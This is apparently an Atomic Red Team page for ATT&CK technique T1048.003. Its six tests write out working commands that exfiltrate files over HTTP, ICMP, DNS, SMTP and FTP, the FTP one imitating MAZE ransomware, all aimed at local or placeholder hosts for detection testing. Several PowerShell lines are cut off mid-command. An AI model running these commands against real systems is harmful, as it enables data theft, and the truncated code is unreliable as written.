T1048.003 - Exfiltration Over Unencrypted Non-C2 Protocol

Description from ATT&CK

> Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
> Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields.

Atomic Tests

- Atomic Test #1 - Exfiltration Over Alternative Protocol - HTTP
- Atomic Test #2 - Exfiltration Over Alternative Protocol - ICMP

Atomic Test #1 - Exfiltration Over Alternative Protocol - HTTP

A firewall rule (iptables or firewalld) will be needed to allow exfiltration on port 1337.

Upon successful execution, sh will be used to make a directory (/tmp/victim-staging-area), write a txt file, and host the directory with Python on port 1337, to be later downloaded.

Supported Platforms: macOS, Linux

auto_generated_guid: 1d1abbd6-a3d3-4b2e-bef5-c59293f46eff

Run it with these steps!

1. Victim System Configuration:

   mkdir /tmp/victim-staging-area echo "this file will be exfiltrated" > /tmp/victim-staging-area/victim-file.txt

2. Using Python to establish a one-line HTTP server on victim system:

   cd /tmp/victim-staging-area python -m SimpleHTTPServer 1337

3. To retrieve the data from an adversary system:

   wget http://VICTIM_IP:1337/victim-file.txt

Atomic Test #2 - Exfiltration Over Alternative Protocol - ICMP

Exfiltration of specified file over ICMP protocol.

Upon successful execution, powershell will utilize ping (icmp) to exfiltrate notepad.exe to a remote address (default 127.0.0.1). Results will be via stdout.

Supported Platforms: Windows

auto_generated_guid: dd4b4421-2e25-4593-90ae-7021947ad12e

Inputs:

Name	Description	Type	Default Value
input_file	Path to file to be exfiltrated.	Path	C:\Windows\System32\notepad.exe
ip_address	Destination IP address where the data should be sent.	String	127.0.0.1

Attack Commands: Run with `powershell`!

```
$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Conten
```

Atomic Test #3 - Exfiltration Over Alternative Protocol - DNS

Exfiltration of specified file over DNS protocol.

Supported Platforms: Linux

auto_generated_guid: c403b5a4-b5fc-49f2-b181-d1c80d27db45

Run it with these steps!

1. On the adversary machine run the below command.

   tshark -f "udp port 53" -Y "dns.qry.type == 1 and dns.flags.response == 0 and dns.qry.name matches ".domain"" >> received_data.txt

2. On the victim machine run the below commands.

xxd -p input_file > encoded_data.hex | for data in `cat encoded_data.hex`; do dig $data.domain; done

3. Once the data is received, use the below command to recover the data.

   cat output_file | cut -d "A" -f 2 | cut -d " " -f 2 | cut -d "." -f 1 | sort | uniq | xxd -p -r

Atomic Test #4 - Exfiltration Over Alternative Protocol - HTTP

Exfiltration of specified file over HTTP. Upon successful execution, powershell will invoke web request using POST method to exfiltrate notepad.exe to a remote address (default http://127.0.0.1). Results will be via stdout.

Supported Platforms: Windows

auto_generated_guid: 6aa58451-1121-4490-a8e9-1dada3f1c68c

Inputs:

Name	Description	Type	Default Value
input_file	Path to file to exfiltrate	Path	C:\Windows\System32\notepad.exe
ip_address	Destination IP address where the data should be sent	String	http://127.0.0.1

Attack Commands: Run with `powershell`!

```
$content = Get-Content #{input_file}
Invoke-WebRequest -Uri #{ip_address} -Method POST -Body $content
```

Atomic Test #5 - Exfiltration Over Alternative Protocol - SMTP

Exfiltration of specified file over SMTP. Upon successful execution, powershell will send an email with attached file to exfiltrateto a remote address. Results will be via stdout.

Supported Platforms: Windows

auto_generated_guid: ec3a835e-adca-4c7c-88d2-853b69c11bb9

Inputs:

Name	Description	Type	Default Value
input_file	Path to file to exfiltrate	Path	C:\Windows\System32\notepad.exe
sender	The email address of the sender	String	test@corp.com
receiver	The email address of the receiver	String	test@corp.com
smtp_server	SMTP server to use for email transportation	String	127.0.0.1

Attack Commands: Run with `powershell`!

```
Send-MailMessage -From #{sender} -To #{receiver} -Subject "T1048.003 Atomic Test"
```

Atomic Test #6 - MAZE FTP Upload

This test simulates MAZE's ransomware's ability to exfiltrate data via FTP. Upon successful execution, all 7z files within the %windir%\temp directory will be uploaded to a remote FTP server. Reference: https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents

Supported Platforms: Windows

auto_generated_guid: 57799bc2-ad1e-4130-a793-fb0c385130ba

Inputs:

Name	Description	Type	Default Value
ftp_server	FTP Server address	String	127.0.0.1
username	Username for FTP server login	String	
password	Password for FTP server login	String	

Attack Commands: Run with `powershell`!

```
$Dir_to_copy = "$env:windir\temp"
$ftp = "ftp://#{ftp_server}/"
$web_client = New-Object System.Net.WebClient
$web_client.Credentials = New-Object System.Net.NetworkCredential('#{username}', '
if (test-connection -count 1 -computername "#{ftp_server}" -quiet)
{foreach($file in (dir $Dir_to_copy "*.7z"))
{echo "Uploading $file..."
$uri = New-Object System.Uri($ftp+$file.name)
$web_client.UploadFile($uri, $file.FullName)}}
else
{echo "FTP Server Unreachable. Please verify the server address in input args and
```

Cleanup Commands:

```
$ftp = "ftp://#{ftp_server}/"
try {foreach ($file in (dir "$env:windir\temp" "*.7z"))
{$uri = New-Object System.Uri($ftp+$file.name)
 $ftp_del = [System.Net.FtpWebRequest]::create($uri)
 $ftp_del.Credentials = New-Object System.Net.NetworkCredential('#{username}','#{p
 $ftp_del.Method = [System.Net.WebRequestMethods+Ftp]::DeleteFile
 $ftp_del.GetResponse()}} catch{}
```